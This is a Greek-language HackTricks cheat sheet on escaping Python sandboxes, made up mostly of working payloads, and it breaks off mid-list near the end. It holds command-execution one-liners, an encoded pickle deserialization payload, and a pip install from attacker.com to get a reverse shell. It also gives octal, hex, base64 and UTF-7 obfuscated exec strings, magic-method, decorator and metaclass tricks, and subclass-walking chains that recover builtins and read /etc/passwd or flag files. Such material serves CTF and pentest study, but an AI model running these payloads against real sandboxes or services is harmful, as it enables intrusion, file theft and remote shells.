# Bypass Python sandboxes {{#include ../../../banners/hacktricks-training.md}} Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες sandbox της python και να εκτελέσετε αυθαίρετες εντολές. ## Βιβλιοθήκες Εκτέλεσης Εντολών Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες: ```python os.system("ls") os.popen("ls").read() commands.getstatusoutput("ls") commands.getoutput("ls") commands.getstatus("file/path") subprocess.call("ls", shell=True) subprocess.Popen("ls", shell=True) pty.spawn("ls") pty.spawn("/bin/bash") platform.os.system("ls") pdb.os.system("ls") #Import functions to execute commands importlib.import_module("os").system("ls") importlib.__import__("os").system("ls") imp.load_source("os","/usr/lib/python3.8/os.py").system("ls") imp.os.system("ls") imp.sys.modules["os"].system("ls") sys.modules["os"].system("ls") __import__("os").system("ls") import os from os import * #Other interesting functions open("/etc/passwd").read() open('/var/www/html/input', 'w').write('123') #In Python2.7 execfile('/usr/lib/python2.7/os.py') system('ls') ``` Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στην python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** την sandbox. > [!CAUTION] > Η συνάρτηση **input()** της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει. Η Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) ## Παράκαμψη της sandbox pickle με τα προεγκατεστημένα πακέτα python ### Προεγκατεστημένα πακέτα Μπορείτε να βρείτε μια **λίστα με τα προεγκατεστημένα** πακέτα εδώ: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Σημειώστε ότι από ένα pickle μπορείτε να κάνετε το περιβάλλον python να **εισάγει αυθαίρετες βιβλιοθήκες** που είναι εγκατεστημένες στο σύστημα.\ Για παράδειγμα, το παρακάτω pickle, όταν φορτωθεί, θα εισάγει τη βιβλιοθήκη pip για να τη χρησιμοποιήσει: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it #the library is going to be loaded automatically import pickle, os, base64, pip class P(object): def __reduce__(self): return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` Για περισσότερες πληροφορίες σχετικά με το πώς λειτουργεί το pickle, ελέγξτε αυτό: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Πακέτο Pip Τέχνασμα που μοιράστηκε από **@isHaacK** Αν έχετε πρόσβαση στο `pip` ή `pip.main()`, μπορείτε να εγκαταστήσετε ένα αυθαίρετο πακέτο και να αποκτήσετε ένα reverse shell καλώντας: ```bash pip install http://attacker.com/Rerverse.tar.gz pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) ``` Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το reverse shell**: {{#file}} Reverse.tar (1).gz {{#endfile}} > [!NOTE] > Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell, η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε. ## Eval-ing python code > [!WARNING] > Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus) Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" eval("__import__('os').system('ls')") #Eval doesn't allow ";" eval(compile('print("hello world"); print("heyy")', '', 'exec')) #This way eval accept ";" __import__('timeit').timeit("__import__('os').system('ls')",number=1) #One liners that allow new lines and tabs eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '', 'exec')) ``` ```python #Octal exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51") #Hex exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") #Base64 exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2 exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk=')) ``` ### Άλλες βιβλιοθήκες που επιτρέπουν την εκτέλεση κώδικα python ```python #Pandas import pandas as pd df = pd.read_csv("currency-rates.csv") df.query('@__builtins__.__import__("os").system("ls")') df.query("@pd.io.common.os.popen('ls').read()") df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')") # The previous options work but others you might try give the error: # Only named functions are supported # Like: df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')") ``` ## Τελεστές και σύντομα κόλπα ```python # walrus operator allows generating variable inside a list ## everything will be executed in order ## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/ [a:=21,a*2] [y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})] ## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";" ``` ## Παράκαμψη προστασιών μέσω κωδικοποιήσεων (UTF-7) In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox: ```python assert b"+AAo-".decode("utf_7") == "\n" payload = """ # -*- coding: utf_7 -*- def f(x): return x #+AAo-print(open("/flag.txt").read()) """.lstrip() ``` Είναι επίσης δυνατό να το παρακάμψετε χρησιμοποιώντας άλλες κωδικοποιήσεις, π.χ. `raw_unicode_escape` και `unicode_escape`. ## Εκτέλεση Python χωρίς κλήσεις Αν βρίσκεστε μέσα σε μια φυλακή python που **δεν επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**. ### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @input class X: pass # The previous code is equivalent to: class X: pass X = input(X) X = exec(X) # So just send your python code when prompted and it will be executed # Another approach without calling input: @eval @'__import__("os").system("sh")'.format class _:pass ``` ### RCE δημιουργία αντικειμένων και υπερφόρτωση Αν μπορείτε να **δηλώσετε μια κλάση** και να **δημιουργήσετε ένα αντικείμενο** αυτής της κλάσης, θα μπορούσατε να **γράψετε/υπεργράψετε διάφορες μεθόδους** που μπορούν να **ενεργοποιηθούν** **χωρίς** **να χρειάζεται να τις καλέσετε άμεσα**. #### RCE με προσαρμοσμένες κλάσεις Μπορείτε να τροποποιήσετε κάποιες **μεθόδους κλάσης** (_υπεργράφοντας υπάρχουσες μεθόδους κλάσης ή δημιουργώντας μια νέα κλάση_) ώστε να εκτελούν **τυχαίο κώδικα** όταν **ενεργοποιούνται** χωρίς να τις καλείτε άμεσα. ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: def __init__(self): self += "print('Hello from __init__ + __iadd__')" __iadd__ = exec #Triggered when object is created def __del__(self): self -= "print('Hello from __del__ + __isub__')" __isub__ = exec #Triggered when object is created __getitem__ = exec #Trigerred with obj[] __add__ = exec #Triggered with obj + # These lines abuse directly the previous class to get RCE rce = RCE() #Later we will see how to create objects without calling the constructor rce["print('Hello from __getitem__')"] rce + "print('Hello from __add__')" del rce # These lines will get RCE when the program is over (exit) sys.modules["pwnd"] = RCE() exit() # Other functions to overwrite __sub__ (k - 'import os; os.system("sh")') __mul__ (k * 'import os; os.system("sh")') __floordiv__ (k // 'import os; os.system("sh")') __truediv__ (k / 'import os; os.system("sh")') __mod__ (k % 'import os; os.system("sh")') __pow__ (k**'import os; os.system("sh")') __lt__ (k < 'import os; os.system("sh")') __le__ (k <= 'import os; os.system("sh")') __eq__ (k == 'import os; os.system("sh")') __ne__ (k != 'import os; os.system("sh")') __ge__ (k >= 'import os; os.system("sh")') __gt__ (k > 'import os; os.system("sh")') __iadd__ (k += 'import os; os.system("sh")') __isub__ (k -= 'import os; os.system("sh")') __imul__ (k *= 'import os; os.system("sh")') __ifloordiv__ (k //= 'import os; os.system("sh")') __idiv__ (k /= 'import os; os.system("sh")') __itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.) __imod__ (k %= 'import os; os.system("sh")') __ipow__ (k **= 'import os; os.system("sh")') __ilshift__ (k<<= 'import os; os.system("sh")') __irshift__ (k >>= 'import os; os.system("sh")') __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses) Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" class Metaclass(type): __getitem__ = exec # So Sub[string] will execute exec(string) # Note: Metaclass.__class__ == type class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass pass # Nothing special to do Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` #### Δημιουργία αντικειμένων με εξαιρέσεις Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)): ```python class RCE(Exception): def __init__(self): self += 'import os; os.system("sh")' __iadd__ = exec #Triggered when object is created raise RCE #Generate RCE object # RCE with __add__ overloading and try/except + raise generated object class Klecko(Exception): __add__ = exec try: raise Klecko except Klecko as k: k + 'import os; os.system("sh")' #RCE abusing __add__ ## You can also use the tricks from the previous section to get RCE with this object ``` ### Περισσότερο RCE ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ # If sys is imported, you can sys.excepthook and trigger it by triggering an error class X: def __init__(self, a, b, c): self += "os.system('sh')" __iadd__ = exec sys.excepthook = X 1/0 #Trigger it # From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py # The interpreter will try to import an apt-specific module to potentially # report an error in ubuntu-provided modules. # Therefore the __import__ functions are overwritten with our RCE class X(): def __init__(self, a, b, c, d, e): self += "print(open('flag').read())" __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` ### Διαβάστε το αρχείο με βοήθεια και άδεια από τα builtins ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help a.__class__.__enter__ = __builtins__.__dict__["license"] a.__class__.__exit__ = lambda self, *args: None with (a as b): pass ``` ## Builtins - [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html) - [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html) Αν μπορείτε να έχετε πρόσβαση στο **`__builtins__`** αντικείμενο μπορείτε να εισάγετε βιβλιοθήκες (σημειώστε ότι μπορείτε επίσης να χρησιμοποιήσετε εδώ άλλη αναπαράσταση συμβολοσειράς που εμφανίζεται στην τελευταία ενότητα): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") ``` ### No Builtins Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\ Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται ακίνδυνα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**. Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**ακίνδυνα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους. **Python2** ```python #Try to reload __builtins__ reload(__builtins__) import __builtin__ # Read recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read() # Write recovering in offset 40 ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123') # Execute recovering __import__ (class 59s is ) ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls') # Execute (another method) ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls') # Execute recovering eval symbol (class 59 is ) ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')") # Or you could obtain the builtins from a defined function get_flag.__globals__['__builtins__']['__import__']("os").system("ls") ``` #### Python3 ```python # Obtain builtins from a globally defined function # https://docs.python.org/3/library/functions.html help.__call__.__builtins__ # or __globals__ license.__call__.__builtins__ # or __globals__ credits.__call__.__builtins__ # or __globals__ print.__self__ dir.__self__ globals.__self__ len.__self__ __build_class__.__self__ # Obtain the builtins from a defined function get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` [**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **builtins**. #### Python2 και Python3 ```python # Recover __builtins__ and make everything easier __builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__ __builtins__["__import__"]('os').system('ls') ``` ### Ενσωματωμένα payloads ```python # Possible payloads once you have found the builtins __builtins__["open"]("/etc/passwd").read() __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` ## Globals and locals Ο έλεγχος των **`globals`** και **`locals`** είναι ένας καλός τρόπος για να γνωρίζετε τι μπορείτε να αποκτήσετε πρόσβαση. ```python >>> globals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } >>> locals() {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': , '__spec__': None, '__annotations__': {}, '__builtins__': , 'attr': , 'a': , 'b': , 'c': , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', , 1): True}, 'z': } # Obtain globals from a defined function get_flag.__globals__ # Obtain globals from an object of a class class_obj.__init__.__globals__ # Obtaining globals directly from loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ] [] # Obtaining globals from __init__ of loaded classes [ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] # Without the use of the dir() function [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` [**Παρακάτω υπάρχει μια μεγαλύτερη συνάρτηση**](#recursive-search-of-builtins-globals) για να βρείτε δεκάδες/**εκατοντάδες** **θέσεις** όπου μπορείτε να βρείτε τα **globals**. ## Ανακάλυψη Αυθαίρετης Εκτέλεσης Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνω πιο αξιόπιστους εκμεταλλευτές. #### Πρόσβαση σε υποκλάσεις με παρακάμψεις Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() [].__class__.__base__.__subclasses__() {}.__class__.__base__.__subclasses__() ().__class__.__base__.__subclasses__() (1).__class__.__base__.__subclasses__() bool.__class__.__base__.__subclasses__() print.__class__.__base__.__subclasses__() open.__class__.__base__.__subclasses__() defined_func.__class__.__base__.__subclasses__() #You can also access it without "__base__" or "__class__" # You can apply the previous technique also here "".__class__.__bases__[0].__subclasses__() "".__class__.__mro__[1].__subclasses__() "".__getattribute__("__class__").mro()[1].__subclasses__() "".__getattribute__("__class__").__base__.__subclasses__() # This can be useful in case it is not possible to make calls (therefore using decorators) ().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec #If attr is present you can access everything as a string # This is common in Django (and Jinja) environments (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` ### Εύρεση επικίνδυνων βιβλιοθηκών που έχουν φορτωθεί Για παράδειγμα, γνωρίζοντας ότι με τη βιβλιοθήκη **`sys`** είναι δυνατό να **εισαγάγετε αυθαίρετες βιβλιοθήκες**, μπορείτε να αναζητήσετε όλα τα **modules που έχουν φορτωθεί και περιέχουν την εισαγωγή του sys μέσα τους**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] ``` Υπάρχουν πολλοί, και **χρειαζόμαστε μόνο έναν** για να εκτελέσουμε εντολές: ```python [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") ``` Μπορούμε να κάνουμε το ίδιο πράγμα με **άλλες βιβλιοθήκες** που γνωρίζουμε ότι μπορούν να χρησιμοποιηθούν για **εκτέλεση εντολών**: ```python #os [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls') #subprocess [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls") [ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls') [ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls') #builtins [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ] [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls") #sys [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls") #commands (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls") #pty (not very common) [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls") #importlib [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls") [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls") #pdb [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls") ``` Επιπλέον, θα μπορούσαμε ακόμη να αναζητήσουμε ποια modules φορτώνουν κακόβουλες βιβλιοθήκες: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] for b in bad_libraries_names: vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ] print(f"{b}: {', '.join(vuln_libs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature pdb: """ ``` Επιπλέον, αν νομίζετε ότι **άλλες βιβλιοθήκες** μπορεί να είναι σε θέση να **καλέσουν συναρτήσεις για να εκτελέσουν εντολές**, μπορούμε επίσης να **φιλτράρουμε με βάση τα ονόματα συναρτήσεων** μέσα στις πιθανές βιβλιοθήκες: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] for b in bad_libraries_names + bad_func_names: vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ] print(f"{b}: {', '.join(vuln_funcs)}") """ os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations commands: subprocess: BaseDependency, Origin, Version, Package pty: importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path imp: sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, 